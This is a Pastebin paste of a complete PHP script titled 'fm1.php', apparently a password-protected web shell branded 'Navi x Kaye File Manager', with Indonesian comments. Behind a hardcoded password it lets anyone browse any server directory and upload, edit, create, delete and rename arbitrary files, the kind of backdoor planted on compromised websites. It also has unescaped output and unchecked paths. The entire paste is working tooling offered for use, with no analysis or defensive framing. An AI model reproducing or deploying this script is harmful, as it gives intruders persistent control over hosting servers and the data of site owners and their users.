bananacr1

fm1.php

Dec 11th, 2025
82
0
Never
4
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.76 KB | None | 0 0
  1. <?php
  2. session_start();
  3.  
  4. // Cek apakah sudah login
  5. if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
  6. // Jika sudah login, lanjutkan ke file manager
  7. $currentDir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
  8.  
  9. // Periksa apakah direktori dapat dibaca
  10. if (!is_dir($currentDir) || !is_readable($currentDir)) {
  11. echo "Error: Unable to read directory.";
  12. exit;
  13. }
  14.  
  15. $dirs = scandir($currentDir);
  16. $folders = [];
  17. $files = [];
  18.  
  19. foreach ($dirs as $dir) {
  20. if ($dir === '.' || $dir === '..') continue;
  21. $fullPath = $currentDir . DIRECTORY_SEPARATOR . $dir;
  22. if (is_dir($fullPath)) {
  23. $folders[] = $dir;
  24. } else {
  25. $files[] = $dir;
  26. }
  27. }
  28.  
  29. function getPermissions($path) {
  30. if (file_exists($path) && is_readable($path)) {
  31. return substr(sprintf('%o', fileperms($path)), -4);
  32. } else {
  33. return "N/A";
  34. }
  35. }
  36. ?>
  37. <!DOCTYPE html>
  38. <html lang="en">
  39. <head>
  40. <meta charset="UTF-8">
  41. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  42. <title>Navi x Kaye File Manager</title>
  43. <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet">
  44. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  45. <style>
  46. body {
  47. font-family: 'Montserrat', sans-serif;
  48. background-color: #f4f4f9;
  49. margin: 0;
  50. padding: 0;
  51. }
  52.  
  53. .navbar {
  54. display: flex;
  55. justify-content: space-between;
  56. align-items: center;
  57. background-color: #000000;
  58. padding: 10px;
  59. color: white;
  60. }
  61.  
  62. .navbar a {
  63. color: white;
  64. text-decoration: none;
  65. padding: 10px 20px;
  66. border-radius: 5px;
  67. margin: 0 5px;
  68. }
  69.  
  70. .navbar a:hover {
  71. background-color: #fff;
  72. color: #000000;
  73. }
  74.  
  75. .container {
  76. padding: 20px;
  77. }
  78.  
  79. h2 {
  80. text-align: center;
  81. color: #000000;
  82. }
  83.  
  84. .breadcrumb {
  85. display: flex;
  86. align-items: center;
  87. margin-bottom: 20px;
  88. overflow-x: auto;
  89. }
  90.  
  91. .breadcrumb a {
  92. color: #000000;
  93. text-decoration: none;
  94. margin-right: 5px;
  95. white-space: nowrap;
  96. }
  97.  
  98. .breadcrumb span {
  99. margin-right: 5px;
  100. }
  101.  
  102. table {
  103. width: 100%;
  104. border-collapse: collapse;
  105. margin: 20px 0;
  106. overflow-x: auto;
  107. }
  108.  
  109. th, td {
  110. padding: 12px;
  111. border: 1px solid #ddd;
  112. text-align: left;
  113. white-space: nowrap;
  114. }
  115.  
  116. th {
  117. background-color: #f2f2f2;
  118. }
  119.  
  120. .writable {
  121. color: green;
  122. }
  123.  
  124. .not-writable {
  125. color: red;
  126. }
  127.  
  128. .form-container {
  129. max-width: 600px;
  130. margin: auto;
  131. padding: 20px;
  132. border: 1px solid #ddd;
  133. background-color: #fff;
  134. box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  135. border-radius: 10px;
  136. margin-bottom: 20px;
  137. }
  138.  
  139. .form-container h3 {
  140. margin-top: 0;
  141. }
  142.  
  143. .form-container input[type="text"],
  144. .form-container input[type="file"],
  145. .form-container textarea {
  146. width: 100%;
  147. padding: 10px;
  148. margin: 5px 0 10px 0;
  149. border: 1px solid #ccc;
  150. border-radius: 5px;
  151. box-sizing: border-box;
  152. }
  153.  
  154. .form-container button {
  155. background-color: #000000;
  156. color: white;
  157. padding: 10px 20px;
  158. border: 1px solid #000000;
  159. border-radius: 5px;
  160. cursor: pointer;
  161. }
  162.  
  163. .form-container button:hover {
  164. background-color: #fff;
  165. color: #000000;
  166. }
  167.  
  168. .hidden-form {
  169. display: none;
  170. }
  171.  
  172. @media only screen and (max-width: 768px) {
  173. .container {
  174. padding: 10px;
  175. }
  176. .breadcrumb {
  177. overflow-x: scroll;
  178. }
  179. table {
  180. font-size: 14px;
  181. white-space: nowrap;
  182. }
  183. table thead {
  184. display: none;
  185. }
  186. table tbody {
  187. display: block;
  188. overflow-x: auto;
  189. }
  190. table tr {
  191. display: flex;
  192. flex-wrap: wrap;
  193. justify-content: space-between;
  194. margin-bottom: 10px;
  195. border: 1px solid #ddd;
  196. border-radius: 5px;
  197. }
  198. table th {
  199. background-color: #000000;
  200. }
  201. table td {
  202. width: 100%;
  203. padding: 8px;
  204. border: none;
  205. border-bottom: 1px solid #ddd;
  206. white-space: nowrap;
  207. }
  208. table td:first-child {
  209. flex: 1;
  210. padding-left: 20px;
  211. }
  212. table td:nth-child(2),
  213. table td:nth-child(3),
  214. table td:nth-child(4) {
  215. flex-basis: calc(25% - 20px);
  216. text-align: center;
  217. }
  218. table td:last-child {
  219. flex-basis: calc(25% - 20px);
  220. padding-right: 20px;
  221. text-align: right;
  222. }
  223. }
  224. </style>
  225. </head>
  226. <body>
  227. <div class="navbar">
  228. <a href="#" onclick="toggleForm('create-folder-form')"><i class="fas fa-folder-plus"></i> Create Folder</a>
  229. <a href="#" onclick="toggleForm('upload-file-form')"><i class="fas fa-upload"></i> Upload File</a>
  230. <a href="#" onclick="toggleForm('create-file-form')"><i class="fas fa-file-alt"></i> Create File</a>
  231. </div>
  232.  
  233. <div class="container">
  234. <h2>Crue of <b>Navi x Kaye </b></h2>
  235.  
  236. <form id="create-folder-form" class="hidden-form form-container" action="" method="post">
  237. <h3>Create Folder</h3>
  238. <input type="text" name="folder_name" placeholder="Folder Name" required>
  239. <button type="submit" name="add_folder"><i class="fas fa-plus"></i> Add Folder</button>
  240. </form>
  241.  
  242. <form id="upload-file-form" class="hidden-form form-container" action="" method="post" enctype="multipart/form-data">
  243. <h3>Upload File</h3>
  244. <input type="file" name="file" required>
  245. <button type="submit" name="add_file"><i class="fas fa-upload"></i> Add File</button>
  246. </form>
  247.  
  248. <form id="create-file-form" class="hidden-form form-container" action="" method="post">
  249. <h3>Create File</h3>
  250. <input type="text" name="file_name" placeholder="File Name" required>
  251. <button type="submit" name="create_file"><i class="fas fa-file-alt"></i> Create File</button>
  252. </form>
  253.  
  254. <div class="breadcrumb">
  255. <span>Directory:</span>
  256. <?php
  257. $path_parts = explode(DIRECTORY_SEPARATOR, $currentDir);
  258. $path_display = "";
  259. foreach ($path_parts as $index => $path_part) {
  260. if ($index > 0) {
  261. echo "/";
  262. }
  263. $path_display .= $path_part;
  264. echo "<a href='?dir=" . urlencode($path_display) . "'>$path_part</a>";
  265. $path_display .= DIRECTORY_SEPARATOR;
  266. }
  267. ?>
  268. </div>
  269.  
  270. <table>
  271. <thead>
  272. <tr>
  273. <th>Name</th>
  274. <th>Type</th>
  275. <th>Permission</th><th>Action</th>
  276. </tr>
  277. </thead>
  278. <tbody>
  279. <?php foreach ($folders as $folder): ?>
  280. <?php $fullPath = $currentDir . DIRECTORY_SEPARATOR . $folder; ?>
  281. <tr>
  282. <td data-label="Name"><a href="?dir=<?php echo urlencode($fullPath); ?>"><i class="fas fa-folder"></i> <?php echo $folder; ?></a></td>
  283. <td data-label="Type">Folder</td>
  284. <td data-label="Permission" class="<?php echo is_writable($fullPath) ? 'writable' : 'not-writable'; ?>">
  285. <?php echo getPermissions($fullPath); ?>
  286. </td>
  287. <td data-label="Action">
  288. <a href="?delete=<?php echo urlencode($fullPath); ?>" onclick="return confirm('Are you sure you want to delete this folder?')"><i class="fas fa-trash-alt"></i> Delete</a> |
  289. <a href="?rename=<?php echo urlencode($fullPath); ?>"><i class="fas fa-edit"></i> Rename</a>
  290. </td>
  291. </tr>
  292. <?php endforeach; ?>
  293. <?php foreach ($files as $file): ?>
  294. <?php $fullPath = $currentDir . DIRECTORY_SEPARATOR . $file; ?>
  295. <tr>
  296. <td data-label="Name"><i class="fas fa-file"></i> <?php echo $file; ?></td>
  297. <td data-label="Type">File</td>
  298. <td data-label="Permission" class="<?php echo is_writable($fullPath) ? 'writable' : 'not-writable'; ?>">
  299. <?php echo getPermissions($fullPath); ?>
  300. </td>
  301. <td data-label="Action">
  302. <a href="?edit=<?php echo urlencode($fullPath); ?>"><i class="fas fa-edit"></i> Edit</a> |
  303. <a href="?delete=<?php echo urlencode($fullPath); ?>" onclick="return confirm('Are you sure you want to delete this file?')"><i class="fas fa-trash-alt"></i> Delete</a> |
  304. <a href="?rename=<?php echo urlencode($fullPath); ?>"><i class="fas fa-edit"></i> Rename</a>
  305. </td>
  306. </tr>
  307. <?php endforeach; ?>
  308. </tbody>
  309. </table>
  310. </div>
  311.  
  312. <script>
  313. function toggleForm(formId) {
  314. var forms = document.querySelectorAll('.hidden-form');
  315. forms.forEach(function(form) {
  316. if (form.id === formId) {
  317. form.style.display = form.style.display === 'none' || form.style.display === '' ? 'block' : 'none';
  318. } else {
  319. form.style.display = 'none';
  320. }
  321. });
  322. }
  323. </script>
  324.  
  325. <?php
  326. if (isset($_POST['add_folder'])) {
  327. $folderName = $_POST['folder_name'];
  328. mkdir($currentDir . DIRECTORY_SEPARATOR . $folderName);
  329. header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode($currentDir));
  330. exit;
  331. }
  332.  
  333. if (isset($_POST['add_file'])) {
  334. $file = $_FILES['file'];
  335. move_uploaded_file($file['tmp_name'], $currentDir . DIRECTORY_SEPARATOR . $file['name']);
  336. header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode($currentDir));
  337. exit;
  338. }
  339.  
  340. if (isset($_POST['create_file'])) {
  341. $fileName = $_POST['file_name'];
  342. $filePath = $currentDir . DIRECTORY_SEPARATOR . $fileName;
  343. if (!file_exists($filePath)) {
  344. fopen($filePath, "w");
  345. header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode($currentDir));
  346. exit;
  347. } else {
  348. echo "File already exists.";
  349. }
  350. }
  351.  
  352. if (isset($_GET['edit'])) {
  353. $fileToEdit = urldecode($_GET['edit']);
  354. if (file_exists($fileToEdit)) {
  355. $fileContent = file_get_contents($fileToEdit);
  356. ?>
  357.  
  358. <div class="form-container">
  359. <h3>Edit File: </h3>
  360. <form action="" method="post">
  361. <textarea name="file_content" rows="10" cols="50" style="width: 100%;"><?php echo htmlentities($fileContent); ?></textarea><br>
  362. <input type="hidden" name="file_to_edit" value="<?php echo $fileToEdit; ?>">
  363. <button type="submit" name="save_file"><i class="fas fa-save"></i> Save Changes</button>
  364. </form>
  365. </div>
  366.  
  367. <?php
  368. }
  369. }
  370.  
  371. if (isset($_POST['save_file'])) {
  372. $fileToEdit = $_POST['file_to_edit'];
  373. $fileContent = $_POST['file_content'];
  374. file_put_contents($fileToEdit, $fileContent);
  375. header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode($currentDir));
  376. exit;
  377. }
  378.  
  379. if (isset($_GET['delete'])) {
  380. $fileToDelete = urldecode($_GET['delete']);
  381. if (is_dir($fileToDelete)) {
  382. rmdir($fileToDelete);
  383. } else {
  384. unlink($fileToDelete);
  385. }
  386. header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode($currentDir));
  387. exit;
  388. }
  389.  
  390. if (isset($_GET['rename'])) {
  391. $fileToRename = urldecode($_GET['rename']);
  392. ?>
  393.  
  394. <div class="form-container">
  395. <h3>Rename: </h3>
  396. <form action="" method="post">
  397. <input type="text" name="new_name" placeholder="New Name" required style="width: 100%;">
  398. <input type="hidden" name="file_to_rename" value="<?php echo $fileToRename; ?>">
  399. <button type="submit" name="rename_file"><i class="fas fa-edit"></i> Rename</button>
  400. </form>
  401. </div>
  402.  
  403. <?php
  404. }
  405.  
  406. if (isset($_POST['rename_file'])) {
  407. $fileToRename = $_POST['file_to_rename'];
  408. $newName = $_POST['new_name'];
  409. $newPath = dirname($fileToRename) . DIRECTORY_SEPARATOR . $newName;
  410. rename($fileToRename, $newPath);
  411. header("Location: {$_SERVER['PHP_SELF']}?dir=" . urlencode($currentDir));
  412. exit;
  413. }
  414. ?>
  415. </body>
  416. </html>
  417. <?php
  418. } else {
  419. // Jika belum login, tampilkan form login
  420. if (isset($_POST['password'])) {
  421. // Password yang benar
  422. $password = '4y4mlepas'; // Ganti dengan password yang diinginkan
  423.  
  424. if ($_POST['password'] == $password) {
  425. $_SESSION['loggedin'] = true;
  426. echo '<script type="text/javascript">
  427. window.location = "' . $_SERVER['PHP_SELF'] . '"
  428. </script>';
  429. } else {
  430. echo 'Password salah!';
  431. }
  432. }
  433. ?>
  434. <!DOCTYPE html>
  435. <html>
  436. <head>
  437. <title>Login</title>
  438. <link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet">
  439. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  440. <style>
  441. body {
  442. font-family: 'Montserrat', sans-serif;
  443. display: flex;
  444. justify-content: center;
  445. align-items: center;
  446. height: 100vh;
  447. background-color: #f4f4f9;
  448. margin: 0;
  449. padding: 0;
  450. }
  451.  
  452. .login-container {
  453. max-width: 400px;
  454. width: 100%;
  455. padding: 20px;
  456. border: 1px solid #ddd;
  457. background-color: #fff;
  458. box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  459. border-radius: 10px;
  460. text-align: center;
  461. }
  462.  
  463. .login-container h3 {
  464. margin-bottom: 20px;
  465. color: #000000;
  466. }
  467.  
  468. .login-container input[type="password"] {
  469. width: 100%;
  470. padding: 10px;
  471. margin: 10px 0;
  472. border: 1px solid #ccc;
  473. border-radius: 5px;
  474. box-sizing: border-box;
  475. }
  476.  
  477. .login-container button {
  478. background-color:rgb(250, 0, 0);
  479. color: white;
  480. padding: 10px 20px;
  481. border: none;
  482. border-radius: 5px;
  483. cursor: pointer;
  484. width: 100%;
  485. }
  486.  
  487. .login-container button:hover {
  488. background-color: #fff;
  489. color: #000000;
  490. border: 1px solid #000000;
  491. }
  492. </style>
  493. </head>
  494. <body>
  495. <div class="login-container">
  496. <h3>LOGIN</h3>
  497. <form method="POST">
  498. <input type="password" name="password" placeholder="Password" required>
  499. <button type="submit"><i class="fas fa-sign-in-alt"></i> Login</button>
  500. </form>
  501. </div>
  502. </body>
  503. </html>
  504. <?php
  505. }
  506. ?>
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment